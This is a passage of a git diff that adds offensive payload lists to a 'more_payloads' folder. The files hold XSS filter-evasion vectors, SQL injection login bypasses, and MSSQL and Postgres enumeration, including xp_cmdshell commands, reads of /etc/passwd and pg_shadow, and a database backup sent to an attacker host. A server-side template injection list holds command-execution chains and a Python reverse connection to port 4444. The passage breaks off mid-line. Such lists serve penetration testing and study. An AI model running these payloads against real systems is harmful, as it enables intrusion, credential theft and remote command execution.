xlink:href="?"> +<circle r="400"></circle> +<animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" /> +</a>//["'`-->]]>]</div> +<div id="138"><link rel="import" href="test.svg" />//["'`-->]]>]</div><div id="139"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />//["'`-->]]>]</div>undefined +<marquee loop=1 width=0 onfinish=alert(1)> +<marguee/onstart=alert(1)> +<svg onload=(alert)(1)> +<script>$=1,alert($)</script> +<form><button formaction="javascript:alert(1)"> diff --git a/more_payloads/mssql-enumeration.txt b/more_payloads/mssql-enumeration.txt new file mode 100644 index 0000000..c55e1a4 --- /dev/null +++ b/more_payloads/mssql-enumeration.txt @@ -0,0 +1,11 @@ +select @@version +select @@servernamee +select @@microsoftversione +select * from master..sysserverse +select * from sysusers +exec master..xp_cmdshell 'ipconfig+/all' +exec master..xp_cmdshell 'net+view' +exec master..xp_cmdshell 'net+users' +exec master..xp_cmdshell 'ping+<attackerip>' +BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat' +create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"-- diff --git a/more_payloads/mysql-injection-login-bypass.txt b/more_payloads/mysql-injection-login-bypass.txt new file mode 100644 index 0000000..10a3008 --- /dev/null +++ b/more_payloads/mysql-injection-login-bypass.txt @@ -0,0 +1,5 @@ +<username>' OR 1=1-- +'OR '' = ' Allows authentication without a valid username. +<username>'-- +' union select 1, '<user-fieldname>', '<pass-fieldname>' 1-- +'OR 1=1-- diff --git a/more_payloads/mysql-read-local-files.txt b/more_payloads/mysql-read-local-files.txt new file mode 100644 index 0000000..ad33eab --- /dev/null +++ b/more_payloads/mysql-read-local-files.txt @@ -0,0 +1 @@ +create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile; diff --git a/more_payloads/postgres-enumeration.txt b/more_payloads/postgres-enumeration.txt new file mode 100644 index 0000000..dba818a --- /dev/null +++ b/more_payloads/postgres-enumeration.txt @@ -0,0 +1,19 @@ +select version(); +select current_database(); +select current_user; +select session_user; +select current_setting('log_connections'); +select current_setting('log_statement'); +select current_setting('port'); +select current_setting('password_encryption'); +select current_setting('krb_server_keyfile'); +select current_setting('virtual_host'); +select current_setting('port'); +select current_setting('config_file'); +select current_setting('hba_file'); +select current_setting('data_directory'); +select * from pg_shadow; +select * from pg_group; +create table myfile (input TEXT); +copy myfile from '/etc/passwd'; +select * from myfile;copy myfile to /tmp/test; diff --git a/more_payloads/server-side-template-injection.txt b/more_payloads/server-side-template-injection.txt new file mode 100644 index 0000000..8b041eb --- /dev/null +++ b/more_payloads/server-side-template-injection.txt @@ -0,0 +1,48 @@ +{{2*2}}[[3*3]] +{{3*3}} +{{3*'3'}} +<%= 3 * 3 %> +${6*6} +${{3*3}} +@(6+5) +#{3*3} +#{ 3 * 3 } +{{dump(app)}} +{{app.request.server.all|join(',')}} +{{config.items()}} +{{ [].class.base.subclasses() }} +{{''.class.mro()[1].subclasses()}} +{{ ''.__class__.__mro__[2].__subclasses__() }} +{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %} +{{'a'.toUpperCase()}} +{{ request }} +{{self}} +<%= File.open('/etc/passwd').read %> +<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} +[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} +${"freemarker.template.utility.Execute"?new()("id")} +{{app.request.query.filter(0,0,1024,{'options':'system'})}} +{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} +{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }} +{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} +{{config.__class__.__init__.__globals__['os'].popen('ls').read()}} +{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} +{$smarty.version} +{php}echo `id`;{/php} +{{['id']|filter('system')}} +{{['cat\x20/etc/passwd']|filter('system')}} +{{['cat$IFS/etc/passwd']|filter('system')}} +{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} +{{request|attr(["_"*2,"class","_"*2]|join)}} +{{request|attr(["__","class","__"]|join)}} +{{request|attr("__class__")}} +{{request.__class__}} +{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} +{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} +{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} +{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} +{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} +{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} +${T(java.lang.System).getenv()} +${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} +${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} diff --git a/more_payloads/xss_obfuscation_vectors.txt b/more_payloads/xss_obfuscation_vectors.txt new file mode 100644 index 0000000..b12aad9 --- /dev/null +++ b/more_payloads/xss_obfuscation_vectors.txt @@ -0,0 +1,673 @@ +# A collection of XSS vectors + +``` +<script\x20type="text/javascript">javascript:alert(1);</script> +<script\x3Etype="text/javascript">javascript:alert(1);</script> +<script\x0Dtype="text/javascript">javascript:alert(1);</script> +<script\x09type="text/javascript">javascript:alert(1);</script> +<script\x0Ctype="text/javascript">javascript:alert(1);</script> +<script\x2Ftype="text/javascript">javascript:alert(1);</script> +<script\x0Atype="text/javascript">javascript:alert(1);</script> +'`"><\x3Cscript>javascript:alert(1)</script> +'`"><\x00script>javascript:alert(1)</script> +<img src=1 href=1 onerror="javascript:alert(1)"></img> +<audio src=1 href=1 onerror="javascript:alert(1)"></audio> +<video src=1 href=1 onerror="javascript:alert(1)"></video> +<body src=1 href=1 onerror="javascript:alert(1)"></body> +<image src=1 href=1 onerror="javascript:alert(1)"></image> +<object src=1 href=1 onerror="javascript:alert(1)"></object> +<script src=1 href=1 onerror="javascript:alert(1)"></script> +<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize> +<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> +<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> +<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter> +<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus> +<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll> +<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> +<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> +<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange> +<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad> +<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide> +<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver> +<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload> +<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad> +<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange> +<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave> +<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel> +<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> +<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> +<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow> +<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> +<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus> +<applet onError applet onError="javascript:javascript:alert(1)"></applet onError> +<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart> +<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> +<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver> +<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter> +<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload> +<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown> +<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll> +<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> +<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> +<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> +<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> +<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> +<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> +<body onResize body onResize="javascript:javascript:alert(1)"></body onResize> +<object onError object onError="javascript:javascript:alert(1)"></object onError> +<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> +<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> +<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> +<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> +<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> +<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> +<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> +<body onunload body onunload="javascript:javascript:alert(1)"></body onunload> +<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> +<body onload body onload="javascript:javascript:alert(1)"></body onload> +<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> +<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> +<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> +<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> +<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> +<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> +<iframe src iframe src="javascript:javascript:alert(1)"></iframe src> +<svg onload svg onload="javascript:javascript:alert(1)"></svg onload> +<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> +<body onblur body onblur="javascript:javascript:alert(1)"></body onblur> +\x3Cscript>javascript:alert(1)</script> +'"`><script>/* *\x2Fjavascript:alert(1)// */</script> +<script>javascript:alert(1)</script\x0D +<script>javascript:alert(1)</script\x0A +<script>javascript:alert(1)</script\x0B +<script charset="\x22>javascript:alert(1)</script> +<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> --> +--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> --> +--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> --> +--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> --> +--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> --> +`"'><img src='#\x27 onerror=javascript:alert(1)> +<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a> +"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p> +<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a> +<script>/* *\x2A/javascript:alert(1)// */</script> +<script>/* *\x00/javascript:alert(1)// */</script> +<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style> +<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style> +<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style> +<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style> +<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style> +"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF +"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF +<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script> +<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script> +<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script> +'`"><\x3Cscript>javascript:alert(1)</script> +'`"><\x00script>javascript:alert(1)</script> +"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)> +"'`><\x00img src=xxx:x onerror=javascript:alert(1)> +<script src="data:text/plain\x2Cjavascript:alert(1)"></script> +<script src="data:\xD4\x8F,javascript:alert(1)"></script> +<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script> +<script src="data:\xCB\x8F,javascript:alert(1)"></script> +<script\x20type="text/javascript">javascript:alert(1);</script> +<script\x3Etype="text/javascript">javascript:alert(1);</script> +<script\x0Dtype="text/javascript">javascript:alert(1);</script> +<script\x09type="text/javascript">javascript:alert(1);</script> +<script\x0Ctype="text/javascript">javascript:alert(1);</script> +<script\x2Ftype="text/javascript">javascript:alert(1);</script> +<script\x0Atype="text/javascript">javascript:alert(1);</script> +ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF +ABC<div style="x:expression\x5C(javascript:alert(1)">DEF +ABC<div style="x:expression\x00(javascript:alert(1)">DEF +ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF +ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF +ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF +ABC<div style="x:\x09expression(javascript:alert(1)">DEF +ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF +ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF +ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF +ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF +ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF +ABC<div style="x:\x20expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF +ABC<div style="x:\x00expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF +ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF +ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF +<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> +<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> +`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> +`"'><img src=xxx:x \x22onerror=javascript:alert(1)> +`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> +`"'><img src=xxx:x \x0Donerror=javascript:alert(1)> +`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> +`"'><img src=xxx:x \x09onerror=javascript:alert(1)> +`"'><img src=xxx:x \x0Conerror=javascript:alert(1)> +`"'><img src=xxx:x \x00onerror=javascript:alert(1)> +`"'><img src=xxx:x \x27onerror=javascript:alert(1)> +`"'><img src=xxx:x \x20onerror=javascript:alert(1)> +"`'><script>\x3Bjavascript:alert(1)</script> +"`'><script>\x0Djavascript:alert(1)</script> +"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> +"`'><script>\xE2\x80\x81javascript:alert(1)</script> +"`'><script>\xE2\x80\x84javascript:alert(1)</script> +"`'><script>\xE3\x80\x80javascript:alert(1)</script> +"`'><script>\x09javascript:alert(1)</script> +"`'><script>\xE2\x80\x89javascript:alert(1)</script> +"`'><script>\xE2\x80\x85javascript:alert(1)</script> +"`'><script>\xE2\x80\x88javascript:alert(1)</script> +"`'><script>\x00javascript:alert(1)</script> +"`'><script>\xE2\x80\xA8javascript:alert(1)</script> +"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> +"`'><script>\xE1\x9A\x80javascript:alert(1)</script> +"`'><script>\x0Cjavascript:alert(1)</script> +"`'><script>\x2Bjavascript:alert(1)</script> +"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> +"`'><script>-javascript:alert(1)</script> +"`'><script>\x0Ajavascript:alert(1)</script> +"`'><script>\xE2\x80\xAFjavascript:alert(1)</script> +"`'><script>\x7Ejavascript:alert(1)</script> +"`'><script>\xE2\x80\x87javascript:alert(1)</script> +"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> +"`'><script>\xE2\x80\xA9javascript:alert(1)</script> +"`'><script>\xC2\x85javascript:alert(1)</script> +"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> +"`'><script>\xE2\x80\x83javascript:alert(1)</script> +"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> +"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> +"`'><script>\xE2\x80\x80javascript:alert(1)</script> +"`'><script>\x21javascript:alert(1)</script> +"`'><script>\xE2\x80\x82javascript:alert(1)</script> +"`'><script>\xE2\x80\x86javascript:alert(1)</script> +"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> +"`'><script>\x0Bjavascript:alert(1)</script> +"`'><script>\x20javascript:alert(1)</script> +"`'><script>\xC2\xA0javascript:alert(1)</script> +"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x /> +"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x /> +"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x /> +"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x /> +"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x /> +"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x /> +"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x /> +"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x /> +"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x /> +<script\x2F>javascript:alert(1)</script> +<script\x20>javascript:alert(1)</script> +<script\x0D>javascript:alert(1)</script> +<script\x0A>javascript:alert(1)</script> +<script\x0C>javascript:alert(1)</script> +<script\x00>javascript:alert(1)</script> +<script\x09>javascript:alert(1)</script> +`"'><img src=xxx:x onerror\x0B=javascript:alert(1)> +`"'><img src=xxx:x onerror\x00=javascript:alert(1)> +`"'><img src=xxx:x onerror\x0C=javascript:alert(1)> +`"'><img src=xxx:x onerror\x0D=javascript:alert(1)> +`"'><img src=xxx:x onerror\x20=javascript:alert(1)> +`"'><img src=xxx:x onerror\x0A=javascript:alert(1)> +`"'><img src=xxx:x onerror\x09=javascript:alert(1)> +<script>javascript:alert(1)<\x00/script> +<img src=# onerror\x3D"javascript:alert(1)" > +<input onfocus=javascript:alert(1) autofocus> +<input onblur=javascript:alert(1) autofocus><input autofocus> +<video poster=javascript:javascript:alert(1)// +<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> +<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X +<video><source onerror="javascript:javascript:alert(1)"> +<video onerror="javascript:javascript:alert(1)"><source> +<form><button formaction="javascript:javascript:alert(1)">X +<body oninput=javascript:alert(1)><input autofocus> +<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> +<frameset onload=javascript:alert(1)> +<table background="javascript:javascript:alert(1)"> +<!--<img src="--><img src=x onerror=javascript:alert(1)//"> +<comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> +<![><img src="]><img src=x onerror=javascript:alert(1)//"> +<style><img src="</style><img src=x onerror=javascript:alert(1)//"> +<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> +<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> +<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> +<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> +<object data="data:text/html;base64,%(base64)s"> +<embed src="data:text/html;base64,%(base64)s"> +<b <script>alert(1)</script>0 +<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> +<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'> +<embed src="javascript:alert(1)"> +<img src="javascript:alert(1)"> +<image src="javascript:alert(1)"> +<script src="javascript:alert(1)"> +<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x +<? foo="><script>javascript:alert(1)</script>"> +<! foo="><script>javascript:alert(1)</script>"> +</ foo="><script>javascript:alert(1)</script>"> +<? foo="><x foo='?><script>javascript:alert(1)</script>'>"> +<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> +<% foo><x foo="%><script>javascript:alert(1)</script>"> +<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> +<img \x00src=x onerror="alert(1)"> +<img \x47src=x onerror="javascript:alert(1)"> +<img \x11src=x onerror="javascript:alert(1)"> +<img \x12src=x onerror="javascript:alert(1)"> +<img\x47src=x onerror="javascript:alert(1)"> +<img\x10src=x onerror="javascript:alert(1)"> +<img\x13src=x onerror="javascript:alert(1)"> +<img\x32src=x onerror="javascript:alert(1)"> +<img\x47src=x onerror="javascript:alert(1)"> +<img\x11src=x onerror="javascript:alert(1)"> +<img \x47src=x onerror="javascript:alert(1)"> +<img \x34src=x onerror="javascript:alert(1)"> +<img \x39src=x onerror="javascript:alert(1)"> +<img \x00src=x onerror="javascript:alert(1)"> +<img src\x09=x onerror="javascript:alert(1)"> +<img src\x10=x onerror="javascript:alert(1)"> +<img src\x13=x onerror="javascript:alert(1)"> +<img src\x32=x onerror="javascript:alert(1)"> +<img 